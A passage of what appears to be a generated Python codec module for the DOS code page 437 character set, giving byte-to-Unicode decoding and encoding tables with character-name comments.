0x00f3: 0x2264, # LESS-THAN OR EQUAL TO
0x00f4: 0x2320, # TOP HALF INTEGRAL
0x00f5: 0x2321, # BOTTOM HALF INTEGRAL
0x00f6: 0x00f7, # DIVISION SIGN
0x00f7: 0x2248, # ALMOST EQUAL TO
0x00f8: 0x00b0, # DEGREE SIGN
0x00f9: 0x2219, # BULLET OPERATOR
0x00fa: 0x00b7, # MIDDLE DOT
0x00fb: 0x221a, # SQUARE ROOT
0x00fc: 0x207f, # SUPERSCRIPT LATIN SMALL LETTER N
0x00fd: 0x00b2, # SUPERSCRIPT TWO
0x00fe: 0x25a0, # BLACK SQUARE
0x00ff: 0x00a0, # NO-BREAK SPACE
})
### Decoding Table
decoding_table = (
'\x00' # 0x0000 -> NULL
'\x01' # 0x0001 -> START OF HEADING
'\x02' # 0x0002 -> START OF TEXT
'\x03' # 0x0003 -> END OF TEXT
'\x04' # 0x0004 -> END OF TRANSMISSION
'\x05' # 0x0005 -> ENQUIRY
'\x06' # 0x0006 -> ACKNOWLEDGE
'\x07' # 0x0007 -> BELL
'\x08' # 0x0008 -> BACKSPACE
'\t' # 0x0009 -> HORIZONTAL TABULATION
'\n' # 0x000a -> LINE FEED
'\x0b' # 0x000b -> VERTICAL TABULATION
'\x0c' # 0x000c -> FORM FEED
'\r' # 0x000d -> CARRIAGE RETURN
'\x0e' # 0x000e -> SHIFT OUT
'\x0f' # 0x000f -> SHIFT IN
'\x10' # 0x0010 -> DATA LINK ESCAPE
'\x11' # 0x0011 -> DEVICE CONTROL ONE
'\x12' # 0x0012 -> DEVICE CONTROL TWO
'\x13' # 0x0013 -> DEVICE CONTROL THREE
'\x14' # 0x0014 -> DEVICE CONTROL FOUR
'\x15' # 0x0015 -> NEGATIVE ACKNOWLEDGE
'\x16' # 0x0016 -> SYNCHRONOUS IDLE
'\x17' # 0x0017 -> END OF TRANSMISSION BLOCK
'\x18' # 0x0018 -> CANCEL
'\x19' # 0x0019 -> END OF MEDIUM
'\x1a' # 0x001a -> SUBSTITUTE
'\x1b' # 0x001b -> ESCAPE
'\x1c' # 0x001c -> FILE SEPARATOR
'\x1d' # 0x001d -> GROUP SEPARATOR
'\x1e' # 0x001e -> RECORD SEPARATOR
'\x1f' # 0x001f -> UNIT SEPARATOR
' ' # 0x0020 -> SPACE
'!' # 0x0021 -> EXCLAMATION MARK
'"' # 0x0022 -> QUOTATION MARK
'#' # 0x0023 -> NUMBER SIGN
'$' # 0x0024 -> DOLLAR SIGN
'%' # 0x0025 -> PERCENT SIGN
'&' # 0x0026 -> AMPERSAND
"'" # 0x0027 -> APOSTROPHE
'(' # 0x0028 -> LEFT PARENTHESIS
')' # 0x0029 -> RIGHT PARENTHESIS
'*' # 0x002a -> ASTERISK
'+' # 0x002b -> PLUS SIGN
',' # 0x002c -> COMMA
'-' # 0x002d -> HYPHEN-MINUS
'.' # 0x002e -> FULL STOP
'/' # 0x002f -> SOLIDUS
'0' # 0x0030 -> DIGIT ZERO
'1' # 0x0031 -> DIGIT ONE
'2' # 0x0032 -> DIGIT TWO
'3' # 0x0033 -> DIGIT THREE
'4' # 0x0034 -> DIGIT FOUR
'5' # 0x0035 -> DIGIT FIVE
'6' # 0x0036 -> DIGIT SIX
'7' # 0x0037 -> DIGIT SEVEN
'8' # 0x0038 -> DIGIT EIGHT
'9' # 0x0039 -> DIGIT NINE
':' # 0x003a -> COLON
';' # 0x003b -> SEMICOLON
'<' # 0x003c -> LESS-THAN SIGN
'=' # 0x003d -> EQUALS SIGN
'>' # 0x003e -> GREATER-THAN SIGN
'?' # 0x003f -> QUESTION MARK
'@' # 0x0040 -> COMMERCIAL AT
'A' # 0x0041 -> LATIN CAPITAL LETTER A
'B' # 0x0042 -> LATIN CAPITAL LETTER B
'C' # 0x0043 -> LATIN CAPITAL LETTER C
'D' # 0x0044 -> LATIN CAPITAL LETTER D
'E' # 0x0045 -> LATIN CAPITAL LETTER E
'F' # 0x0046 -> LATIN CAPITAL LETTER F
'G' # 0x0047 -> LATIN CAPITAL LETTER G
'H' # 0x0048 -> LATIN CAPITAL LETTER H
'I' # 0x0049 -> LATIN CAPITAL LETTER I
'J' # 0x004a -> LATIN CAPITAL LETTER J
'K' # 0x004b -> LATIN CAPITAL LETTER K
'L' # 0x004c -> LATIN CAPITAL LETTER L
'M' # 0x004d -> LATIN CAPITAL LETTER M
'N' # 0x004e -> LATIN CAPITAL LETTER N
'O' # 0x004f -> LATIN CAPITAL LETTER O
'P' # 0x0050 -> LATIN CAPITAL LETTER P
'Q' # 0x0051 -> LATIN CAPITAL LETTER Q
'R' # 0x0052 -> LATIN CAPITAL LETTER R
'S' # 0x0053 -> LATIN CAPITAL LETTER S
'T' # 0x0054 -> LATIN CAPITAL LETTER T
'U' # 0x0055 -> LATIN CAPITAL LETTER U
'V' # 0x0056 -> LATIN CAPITAL LETTER V
'W' # 0x0057 -> LATIN CAPITAL LETTER W
'X' # 0x0058 -> LATIN CAPITAL LETTER X
'Y' # 0x0059 -> LATIN CAPITAL LETTER Y
'Z' # 0x005a -> LATIN CAPITAL LETTER Z
'[' # 0x005b -> LEFT SQUARE BRACKET
'\\' # 0x005c -> REVERSE SOLIDUS
']' # 0x005d -> RIGHT SQUARE BRACKET
'^' # 0x005e -> CIRCUMFLEX ACCENT
'_' # 0x005f -> LOW LINE
'`' # 0x0060 -> GRAVE ACCENT
'a' # 0x0061 -> LATIN SMALL LETTER A
'b' # 0x0062 -> LATIN SMALL LETTER B
'c' # 0x0063 -> LATIN SMALL LETTER C
'd' # 0x0064 -> LATIN SMALL LETTER D
'e' # 0x0065 -> LATIN SMALL LETTER E
'f' # 0x0066 -> LATIN SMALL LETTER F
'g' # 0x0067 -> LATIN SMALL LETTER G
'h' # 0x0068 -> LATIN SMALL LETTER H
'i' # 0x0069 -> LATIN SMALL LETTER I
'j' # 0x006a -> LATIN SMALL LETTER J
'k' # 0x006b -> LATIN SMALL LETTER K
'l' # 0x006c -> LATIN SMALL LETTER L
'm' # 0x006d -> LATIN SMALL LETTER M
'n' # 0x006e -> LATIN SMALL LETTER N
'o' # 0x006f -> LATIN SMALL LETTER O
'p' # 0x0070 -> LATIN SMALL LETTER P
'q' # 0x0071 -> LATIN SMALL LETTER Q
'r' # 0x0072 -> LATIN SMALL LETTER R
's' # 0x0073 -> LATIN SMALL LETTER S
't' # 0x0074 -> LATIN SMALL LETTER T
'u' # 0x0075 -> LATIN SMALL LETTER U
'v' # 0x0076 -> LATIN SMALL LETTER V
'w' # 0x0077 -> LATIN SMALL LETTER W
'x' # 0x0078 -> LATIN SMALL LETTER X
'y' # 0x0079 -> LATIN SMALL LETTER Y
'z' # 0x007a -> LATIN SMALL LETTER Z
'{' # 0x007b -> LEFT CURLY BRACKET
'|' # 0x007c -> VERTICAL LINE
'}' # 0x007d -> RIGHT CURLY BRACKET
'~' # 0x007e -> TILDE
'\x7f' # 0x007f -> DELETE
'\xc7' # 0x0080 -> LATIN CAPITAL LETTER C WITH CEDILLA
'\xfc' # 0x0081 -> LATIN SMALL LETTER U WITH DIAERESIS
'\xe9' # 0x0082 -> LATIN SMALL LETTER E WITH ACUTE
'\xe2' # 0x0083 -> LATIN SMALL LETTER A WITH CIRCUMFLEX
'\xe4' # 0x0084 -> LATIN SMALL LETTER A WITH DIAERESIS
'\xe0' # 0x0085 -> LATIN SMALL LETTER A WITH GRAVE
'\xe5' # 0x0086 -> LATIN SMALL LETTER A WITH RING ABOVE
'\xe7' # 0x0087 -> LATIN SMALL LETTER C WITH CEDILLA
'\xea' # 0x0088 -> LATIN SMALL LETTER E WITH CIRCUMFLEX
'\xeb' # 0x0089 -> LATIN SMALL LETTER E WITH DIAERESIS
'\xe8' # 0x008a -> LATIN SMALL LETTER E WITH GRAVE
'\xef' # 0x008b -> LATIN SMALL LETTER I WITH DIAERESIS
'\xee' # 0x008c -> LATIN SMALL LETTER I WITH CIRCUMFLEX
'\xec' # 0x008d -> LATIN SMALL LETTER I WITH GRAVE
'\xc4' # 0x008e -> LATIN CAPITAL LETTER A WITH DIAERESIS
'\xc5' # 0x008f -> LATIN CAPITAL LETTER A WITH RING ABOVE
'\xc9' # 0x0090 -> LATIN CAPITAL LETTER E WITH ACUTE
'\xe6' # 0x0091 -> LATIN SMALL LIGATURE AE
'\xc6' # 0x0092 -> LATIN CAPITAL LIGATURE AE
'\xf4' # 0x0093 -> LATIN SMALL LETTER O WITH CIRCUMFLEX
'\xf6' # 0x0094 -> LATIN SMALL LETTER O WITH DIAERESIS
'\xf2' # 0x0095 -> LATIN SMALL LETTER O WITH GRAVE
'\xfb' # 0x0096 -> LATIN SMALL LETTER U WITH CIRCUMFLEX
'\xf9' # 0x0097 -> LATIN SMALL LETTER U WITH GRAVE
'\xff' # 0x0098 -> LATIN SMALL LETTER Y WITH DIAERESIS
'\xd6' # 0x0099 -> LATIN CAPITAL LETTER O WITH DIAERESIS
'\xdc' # 0x009a -> LATIN CAPITAL LETTER U WITH DIAERESIS
'\xa2' # 0x009b -> CENT SIGN
'\xa3' # 0x009c -> POUND SIGN
'\xa5' # 0x009d -> YEN SIGN
'\u20a7' # 0x009e -> PESETA SIGN
'\u0192' # 0x009f -> LATIN SMALL LETTER F WITH HOOK
'\xe1' # 0x00a0 -> LATIN SMALL LETTER A WITH ACUTE
'\xed' # 0x00a1 -> LATIN SMALL LETTER I WITH ACUTE
'\xf3' # 0x00a2 -> LATIN SMALL LETTER O WITH ACUTE
'\xfa' # 0x00a3 -> LATIN SMALL LETTER U WITH ACUTE
'\xf1' # 0x00a4 -> LATIN SMALL LETTER N WITH TILDE
'\xd1' # 0x00a5 -> LATIN CAPITAL LETTER N WITH TILDE
'\xaa' # 0x00a6 -> FEMININE ORDINAL INDICATOR
'\xba' # 0x00a7 -> MASCULINE ORDINAL INDICATOR
'\xbf' # 0x00a8 -> INVERTED QUESTION MARK
'\u2310' # 0x00a9 -> REVERSED NOT SIGN
'\xac' # 0x00aa -> NOT SIGN
'\xbd' # 0x00ab -> VULGAR FRACTION ONE HALF
'\xbc' # 0x00ac -> VULGAR FRACTION ONE QUARTER
'\xa1' # 0x00ad -> INVERTED EXCLAMATION MARK
'\xab' # 0x00ae -> LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
'\xbb' # 0x00af -> RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
'\u2591' # 0x00b0 -> LIGHT SHADE
'\u2592' # 0x00b1 -> MEDIUM SHADE
'\u2593' # 0x00b2 -> DARK SHADE
'\u2502' # 0x00b3 -> BOX DRAWINGS LIGHT VERTICAL
'\u2524' # 0x00b4 -> BOX DRAWINGS LIGHT VERTICAL AND LEFT
'\u2561' # 0x00b5 -> BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE
'\u2562' # 0x00b6 -> BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE
'\u2556' # 0x00b7 -> BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE
'\u2555' # 0x00b8 -> BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE
'\u2563' # 0x00b9 -> BOX DRAWINGS DOUBLE VERTICAL AND LEFT
'\u2551' # 0x00ba -> BOX DRAWINGS DOUBLE VERTICAL
'\u2557' # 0x00bb -> BOX DRAWINGS DOUBLE DOWN AND LEFT
'\u255d' # 0x00bc -> BOX DRAWINGS DOUBLE UP AND LEFT
'\u255c' # 0x00bd -> BOX DRAWINGS UP DOUBLE AND LEFT SINGLE
'\u255b' # 0x00be -> BOX DRAWINGS UP SINGLE AND LEFT DOUBLE
'\u2510' # 0x00bf -> BOX DRAWINGS LIGHT DOWN AND LEFT
'\u2514' # 0x00c0 -> BOX DRAWINGS LIGHT UP AND RIGHT
'\u2534' # 0x00c1 -> BOX DRAWINGS LIGHT UP AND HORIZONTAL
'\u252c' # 0x00c2 -> BOX DRAWINGS LIGHT DOWN AND HORIZONTAL
'\u251c' # 0x00c3 -> BOX DRAWINGS LIGHT VERTICAL AND RIGHT
'\u2500' # 0x00c4 -> BOX DRAWINGS LIGHT HORIZONTAL
'\u253c' # 0x00c5 -> BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL
'\u255e' # 0x00c6 -> BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE
'\u255f' # 0x00c7 -> BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE
'\u255a' # 0x00c8 -> BOX DRAWINGS DOUBLE UP AND RIGHT
'\u2554' # 0x00c9 -> BOX DRAWINGS DOUBLE DOWN AND RIGHT
'\u2569' # 0x00ca -> BOX DRAWINGS DOUBLE UP AND HORIZONTAL
'\u2566' # 0x00cb -> BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL
'\u2560' # 0x00cc -> BOX DRAWINGS DOUBLE VERTICAL AND RIGHT
'\u2550' # 0x00cd -> BOX DRAWINGS DOUBLE HORIZONTAL
'\u256c' # 0x00ce -> BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL
'\u2567' # 0x00cf -> BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE
'\u2568' # 0x00d0 -> BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE
'\u2564' # 0x00d1 -> BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE
'\u2565' # 0x00d2 -> BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE
'\u2559' # 0x00d3 -> BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE
'\u2558' # 0x00d4 -> BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE
'\u2552' # 0x00d5 -> BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE
'\u2553' # 0x00d6 -> BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE
'\u256b' # 0x00d7 -> BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE
'\u256a' # 0x00d8 -> BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE
'\u2518' # 0x00d9 -> BOX DRAWINGS LIGHT UP AND LEFT
'\u250c' # 0x00da -> BOX DRAWINGS LIGHT DOWN AND RIGHT
'\u2588' # 0x00db -> FULL BLOCK
'\u2584' # 0x00dc -> LOWER HALF BLOCK
'\u258c' # 0x00dd -> LEFT HALF BLOCK
'\u2590' # 0x00de -> RIGHT HALF BLOCK
'\u2580' # 0x00df -> UPPER HALF BLOCK
'\u03b1' # 0x00e0 -> GREEK SMALL LETTER ALPHA
'\xdf' # 0x00e1 -> LATIN SMALL LETTER SHARP S
'\u0393' # 0x00e2 -> GREEK CAPITAL LETTER GAMMA
'\u03c0' # 0x00e3 -> GREEK SMALL LETTER PI
'\u03a3' # 0x00e4 -> GREEK CAPITAL LETTER SIGMA
'\u03c3' # 0x00e5 -> GREEK SMALL LETTER SIGMA
'\xb5' # 0x00e6 -> MICRO SIGN
'\u03c4' # 0x00e7 -> GREEK SMALL LETTER TAU
'\u03a6' # 0x00e8 -> GREEK CAPITAL LETTER PHI
'\u0398' # 0x00e9 -> GREEK CAPITAL LETTER THETA
'\u03a9' # 0x00ea -> GREEK CAPITAL LETTER OMEGA
'\u03b4' # 0x00eb -> GREEK SMALL LETTER DELTA
'\u221e' # 0x00ec -> INFINITY
'\u03c6' # 0x00ed -> GREEK SMALL LETTER PHI
'\u03b5' # 0x00ee -> GREEK SMALL LETTER EPSILON
'\u2229' # 0x00ef -> INTERSECTION
'\u2261' # 0x00f0 -> IDENTICAL TO
'\xb1' # 0x00f1 -> PLUS-MINUS SIGN
'\u2265' # 0x00f2 -> GREATER-THAN OR EQUAL TO
'\u2264' # 0x00f3 -> LESS-THAN OR EQUAL TO
'\u2320' # 0x00f4 -> TOP HALF INTEGRAL
'\u2321' # 0x00f5 -> BOTTOM HALF INTEGRAL
'\xf7' # 0x00f6 -> DIVISION SIGN
'\u2248' # 0x00f7 -> ALMOST EQUAL TO
'\xb0' # 0x00f8 -> DEGREE SIGN
'\u2219' # 0x00f9 -> BULLET OPERATOR
'\xb7' # 0x00fa -> MIDDLE DOT
'\u221a' # 0x00fb -> SQUARE ROOT
'\u207f' # 0x00fc -> SUPERSCRIPT LATIN SMALL LETTER N
'\xb2' # 0x00fd -> SUPERSCRIPT TWO
'\u25a0' # 0x00fe -> BLACK SQUARE
'\xa0' # 0x00ff -> NO-BREAK SPACE
)
### Encoding Map
encoding_map = {
0x0000: 0x0000, # NULL
0x0001: 0x0001, # START OF HEADING
0x0002: 0x0002, # START OF TEXT
0x0003: 0x0003, # END OF TEXT
0x0004: 0x0004, # END OF TRANSMISSION
0x0005: 0x0005, # ENQUIRY
0x0006: 0x0006, # ACKNOWLEDGE
0x0007: 0x0007, # BELL
0x0008: 0x0008, # BACKSPACE
0x0009: 0x0009, # HORIZONTAL TABULATION
0x000a: 0x000a, # LINE FEED
0x000b: 0x000b, # VERTICAL TABULATION
0x000c: 0x000c, # FORM FEED
0x000d: 0x000d, # CARRIAGE RETURN
0x000e: 0x000e, # SHIFT OUT
0x000f: 0x000f, # SHIFT IN
0x0010: 0x0010, # DATA LINK ESCAPE
0x0011: 0x0011, # DEVICE CONTROL ONE
0x0012: 0x0012, # DEVICE CONTROL TWO
0x0013: 0x0013, # DEVICE CONTROL THREE
0x0014: 0x0014, # DEVICE CONTROL FOUR
0x0015: 0x0015, # NEGATIVE ACKNOWLEDGE
0x0016: 0x0016, # SYNCHRONOUS IDLE
0x0017: 0x0017, # END OF TRANSMISSION BLOCK
0x0018: 0x0018, # CANCEL
0x0019: 0x0019, # END OF MEDIUM
0x001a: 0x001a, # SUBSTITUTE
0x001b: 0x001b, # ESCAPE
0x001c: 0x001c, # FILE SEPARATOR
0x001d: 0x001d, # GROUP SEPARATOR
0x001e: 0x001e, # RECORD SEPARATOR
0x001f: 0x001f, # UNIT SEPARATOR
0x0020: 0x0020, # SPACE
0x0021: 0x0021, # EXCLAMATION MARK
0x0022: 0x0022, # QUOTATION MARK
0x0023: 0x0023, # NUMBER SIGN
0x0024: 0x0024, # DOLLAR SIGN
0x0025: 0x0025, # PERCENT SIGN
0x0026: 0x0026, # AMPERSAND
0x0027: 0x0027, # APOSTROPHE
0x0028: 0x0028, # LEFT PARENTHESIS
0x0029: 0x0029, # RIGHT PARENTHESIS
0x002a: 0x002a, # ASTERISK
0x002b: 0x002b, # PLUS SIGN
0x002c: 0x002c, # COMMA
0x002d: 0x002d, # HYPHEN-MINUS
0x002e: 0x002e, # FULL STOP
0x002f: 0x002f, # SOLIDUS
0x0030: 0x0030, # DIGIT ZERO
0x0031: 0x0031, # DIGIT ONE
0x0032: 0x0032, # DIGIT TWO
0x0033: 0x0033, # DIGIT THREE
0x0034: 0x0034, # DIGIT FOUR
0x0035: 0x0035, # DIGIT FIVE
0x0036: 0x0036, # DIGIT SIX
0x0037: 0x0037, # DIGIT SEVEN
0x0038: 0x0038, # DIGIT EIGHT
0x0039: 0x0039, # DIGIT NINE
0x003a: 0x003a, # COLON
0x003b: 0x003b, # SEMICOLON
0x003c: 0x003c, # LESS-THAN SIGN
0x003d: 0x003d, # EQUALS SIGN
0x003e: 0x003e, # GREATER-THAN SIGN
0x003f: 0x003f, # QUESTION MARK
0x0040: 0x0040, # COMMERCIAL AT
0x0041: 0x0041, # LATIN CAPITAL LETTER A
0x0042: 0x0042, # LATIN CAPITAL LETTER B
0x0043: 0x0043, # LATIN CAPITAL LETTER C
0x0044: 0x0044, # LATIN CAPITAL LETTER D
0x0045: 0x0045, # LATIN CAPITAL LETTER E
0x0046: 0x0046, # LATIN CAPITAL LETTER F
0x0047: 0x0047, # LATIN CAPITAL LETTER G
0x0048: 0x0048, # LATIN CAPITAL LETTER H
0x0049: 0x0049, # LATIN CAPITAL LETTER I
0x004a: 0x004a, # LATIN CAPITAL LETTER J
0x004b: 0x004b, # LATIN CAPITAL LETTER K
0x004c: 0x004c, # LATIN CAPITAL LETTER L
0x004d: 0x004d, # LATIN CAPITAL LETTER M
0x004e: 0x004e, # LATIN CAPITAL LETTER N
0x004f: 0x004f, # LATIN CAPITAL LETTER O
0x0050: 0x0050, # LATIN CAPITAL LETTER P
0x0051: 0x0051, # LATIN CAPITAL LETTER Q
0x0052: 0x0052, # LATIN CAPITAL LETTER R
0x0053: 0x0053, # LATIN CAPITAL LETTER S
0x0054: 0x0054, # LATIN CAPITAL LETTER T
0x0055: 0x0055, # LATIN CAPITAL LETTER U
0x0056: 0x0056, # LATIN CAPITAL LETTER V
0x0057: 0x0057, # LATIN CAPITAL LETTER W
0x0058: 0x0058, # LATIN CAPITAL LETTER X
0x0059: 0x0059, # LATIN CAPITAL LETTER Y
0x005a: 0x005a, # LATIN CAPITAL LETTER Z
0x005b: 0x005b, # LEFT SQUARE BRACKET
0x005c: 0x005c, # REVERSE SOLIDUS
0x005d: 0x005d, # RIGHT SQUARE BRACKET
0x005e: 0x005e, # CIRCUMFLEX ACCENT
0x005f: 0x005f, # LOW LINE
0x0060: 0x0060, # GRAVE ACCENT
0x0061: 0x0061, # LATIN SMALL LETTER A
0x0062: 0x0062, # LATIN SMALL LETTER B
0x0063: 0x0063, # LATIN SMALL LETTER C
0x0064: 0x0064, # LATIN SMALL LETTER D
0x0065: 0x0065, # LATIN SMALL LETTER E
0x0066: 0x0066, # LATIN SMALL LETTER F
0x0067: 0x0067, # LATIN SMALL LETTER G
0x0068: 0x0068, # LATIN SMALL LETTER H
0x0069: 0x0069, # LATIN SMALL LETTER I
0x006a: 0x006a, # LATIN SMALL LETTER J
0x006b: 0x006b, # LATIN SMALL LETTER K
0x006c: 0x006c, # LATIN SMALL LETTER L
0x006d: 0x006d, # LATIN SMALL LETTER M
0x006e: 0x006e, # LATIN SMALL LETTER N
0x006f: 0x006f, # LATIN SMALL LETTER O
0x0070: 0x0070, # LATIN SMALL LETTER P
0x0071: 0x0071, # LATIN SMALL LETTER Q
0x0072: 0x0072, # LATIN SMALL LETTER R
0x0073: 0x0073, # LATIN SMALL LETTER S
0x0074: 0x0074, # LATIN SMALL LETTER T
0x0075: 0x0075, # LATIN SMALL LETTER U
0x0076: 0x0076, # LATIN SMALL LETTER V
0x0077: 0x0077, # LATIN SMALL LETTER W
0x0078: 0x0078, # LATIN SMALL LETTER X
0x0079: 0x0079, # LATIN SMALL LETTER Y
0x007a: 0x007a, # LATIN SMALL LETTER Z
0x007b: 0x007b, # LEFT CURLY BRACKET
0x007c: 0x007c, # VERTICAL LINE
0x007d: 0x007d, # RIGHT CURLY BRACKET
0x007e: 0x007e, # TILDE
0x007f: 0x007f, # DELETE
0x00a0: 0x00ff, # NO-BREAK SPACE
0x00a1: 0x00ad, # INVERTED EXCLAMATION MARK
0x00a2: 0x009b, # CENT SIGN
0x00a3: 0x009c, # POUND SIGN
0x00a5: 0x009d, # YEN SIGN
0x00aa: 0x00a6, # FEMININE ORDINAL INDICATOR
0x00ab: 0x00ae, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
0x00ac: 0x00aa, # NOT SIGN
0x00b0: 0x00f8, # DEGREE SIGN
0x00b1: 0x00f1, # PLUS-MINUS SIGN
0x00b2: 0x00fd, # SUPERSCRIPT TWO
0x00b5: 0x00e6, # MICRO SIGN
0x00b7: 0x00fa, # MIDDLE DOT
0x00ba: 0x00a7, # MASCULINE ORDINAL INDICATOR
0x00bb: 0x00af, # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
0x00bc: 0x00ac, # VULGAR FRACTION ONE QUARTER
0x00bd: 0x00ab, # VULGAR FRACTION ONE HALF
0x00bf: 0x00a8, # INVERTED QUESTION MARK
0x00c4: 0x008e, # LATIN CAPITAL LETTER A WITH DIAERESIS
0x00c5: 0x008f, # LATIN CAPITAL LETTER A WITH RING ABOVE
0x00c6: 0x0092, # LATIN CAPITAL LIGATURE AE
0x00c7: 0x0080, # LATIN CAPITAL LETTER C WITH CEDILLA
0x00c9: 0x0090, # LATIN CAPITAL LETTER E WITH ACUTE
0x00d1: 0x00a5, # LATIN CAPITAL LETTER N WITH TILDE
0x00d6: 0x0099, # LATIN CAPITAL LETTER O WITH DIAERESIS
0x00dc: 0x009a, # LATIN CAPITAL LETTER U WITH DIAERESIS
0x00df: 0x00e1, # LATIN SMALL LETTER SHARP S
0x00e0: 0x0085, # LATIN SMALL LETTER A WITH GRAVE
0x00e1: 0x00a0, # LATIN SMALL LETTER A WITH ACUTE
0x00e2: 0x0083, # LATIN SMALL LETTER A WITH CIRCUMFLEX
0x00e4: 0x0084, # LATIN SMALL LETTER A WITH DIAERESIS
0x00e5: 0x0086, # LATIN SMALL LETTER A WITH RING ABOVE
0x00e6: 0x0091, # LATIN SMALL LIGATURE AE
0x00e7: 0x0087, # LATIN SMALL LETTER C WITH CEDILLA
0x00e8: 0x008a, # LATIN SMALL LETTER E WITH GRAVE
0x00e9: 0x0082, # LATIN SMALL LETTER E WITH ACUTE
0x00ea: 0x0088, # LATIN SMALL LETTER E WITH CIRCUMFLEX
0x00eb: 0x0089, # LATIN SMALL LETTER E WITH DIAERESIS
0x00ec: 0x008d, # LATIN SMALL LETTER I WITH GRAVE
0x00ed: 0x00a1, # LATIN SMALL LETTER I WITH ACUTE
0x00ee: 0x008c, # LATIN SMALL LETTER I WITH CIRCUMFLEX
0x00ef: 0x008b, # LATIN SMALL LETTER I WITH DIAERESIS
0x00f1: 0x00a4, # LATIN SMALL LETTER N WITH TILDE
0x00f2: 0x0095, # LATIN SMALL LETTER O WITH GRAVE
0x00f3: 0x00a2, # LATIN SMALL LETTER O WITH ACUTE
0x00f4: 0x0093, # LATIN SMALL LETTER O WITH CIRCUMFLEX
0x00f6: 0x0094, # LATIN SMALL LETTER O WITH DIAERESIS
0x00f7: 0x00f6, # DIVISION SIGN
0x00f9: 0x0097, # LATIN SMALL LETTER U WITH GRAVE
0x00fa: 0x00a3, # LATIN SMALL LETTER U WITH ACUTE
0x00fb: 0x0096, # LATIN SMALL LETTER U WITH CIRCUMFLEX
0x00fc: 0x0081, # LATIN SMALL LETTER U WITH DIAERESIS
0x00ff: 0x0098, # LATIN SMALL LETTER Y WITH DIAERESIS
0x0192: 0x009f, # LATIN SMALL LETTER F WITH HOOK
0x0393: 0x00e2, # GREEK CAPITAL LETTER GAMMA
0x0398: 0x00e9, # GREEK CAPITAL LETTER THETA
0x03a3: 0x00e4, # GREEK CAPITAL LETTER SIGMA
0x03a6: 0x00e8, # GREEK CAPITAL LETTER PHI
0x03a9: 0x00ea, # GREEK CAPITAL LETTER OMEGA
0x03b1: 0x00e0, # GREEK SMALL LETTER ALPHA
0x03b4: 0x00eb, # GREEK SMALL LETTER DELTA
0x03b5: 0x00ee, # GREEK SMALL LETTER EPSILON
0x03c0: 0x00e3, # GREEK SMALL LETTER PI
0x03c3: 0x00e5, # GREEK SMALL LETTER SIGMA
0x03c4: 0x00e7, # GREEK SMALL LETTER TAU
0x03c6: 0x00ed, # GREEK SMALL LETTER PHI
0x207f: 0x00fc, # SUPERSCRIPT LATIN SMALL LETTER N
0x20a7: 0x009e, # PESETA SIGN
0x2219: 0x00f9, # BULLET OPERATOR
0x221a: 0x00fb, # SQUARE ROOT
0x221e: 0x00ec, # INFINITY
0x2229: 0x00ef, # INTERSECTION
0x2248: 0x00f7, # ALMOST EQUAL TO
0x2261: 0x00f0, # IDENTICAL TO
0x2264: 0x00f3, # LESS-THAN OR EQUAL TO
0x2265: 0x00f2, # GREATER-THAN OR EQUAL TO
0x2310: 0x00a9, # REVERSED NOT SIGN
0x2320: 0x00f4, # TOP HALF INTEGRAL
0x2321: 0x00f5, # BOTTOM HALF INTEGRAL
0x2500: 0x00c4, # BOX DRAWINGS LIGHT HORIZONTAL
0x2502: 0x00b3, # BOX DRAWINGS LIGHT VERTICAL
0x250c: 0x00da, # BOX DRAWINGS LIGHT DOWN AND RIGHT
0x2510: 0x00bf, # BOX DRAWINGS LIGHT DOWN AND LEFT
0x2514: 0x00c0, # BOX DRAWINGS LIGHT UP AND RIGHT
0x2518: 0x00d9, # BOX DRAWINGS LIGHT UP AND LEFT
0x251c: 0x00c3, # BOX DRAWINGS LIGHT VERTICAL AND RIGHT
0x2524: 0x00b4, # BOX DRAWINGS LIGHT VERTICAL AND LEFT
0x252c: 0x00c2, # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL
0x2534: 0x00c1, # BOX DRAWINGS LIGHT UP AND HORIZONTAL
0x253c: 0x00c5, # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL
0x2550: 0x00cd, # BOX DRAWINGS DOUBLE HORIZONTAL
0x2551: 0x00ba, # BOX DRAWINGS DOUBLE VERTICAL
0x2552: 0x00d5, # BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE
0x2553: 0x00d6, # BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE
0x2554: 0x00c9, # BOX DRAWINGS DOUBLE DOWN AND RIGHT
0x2555: 0x00b8, # BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE
0x2556: 0x00b7, # BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE
0x2557: 0x00bb, # BOX DRAWINGS DOUBLE DOWN AND LEFT
0x2558: 0x00d4, # BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE
0x2559: 0x00d3, # BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE
0x255a: 0x00c8, # BOX DRAWINGS DOUBLE UP AND RIGHT
0x255b: 0x00be, # BOX DRAWINGS UP SINGLE AND LEFT DOUBLE
0x255c: 0x00bd, # BOX DRAWINGS UP DOUBLE AND LEFT SINGLE
0x255d: 0x00bc, # BOX DRAWINGS DOUBLE UP AND LEFT
0x255e: 0x00c6, # BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE
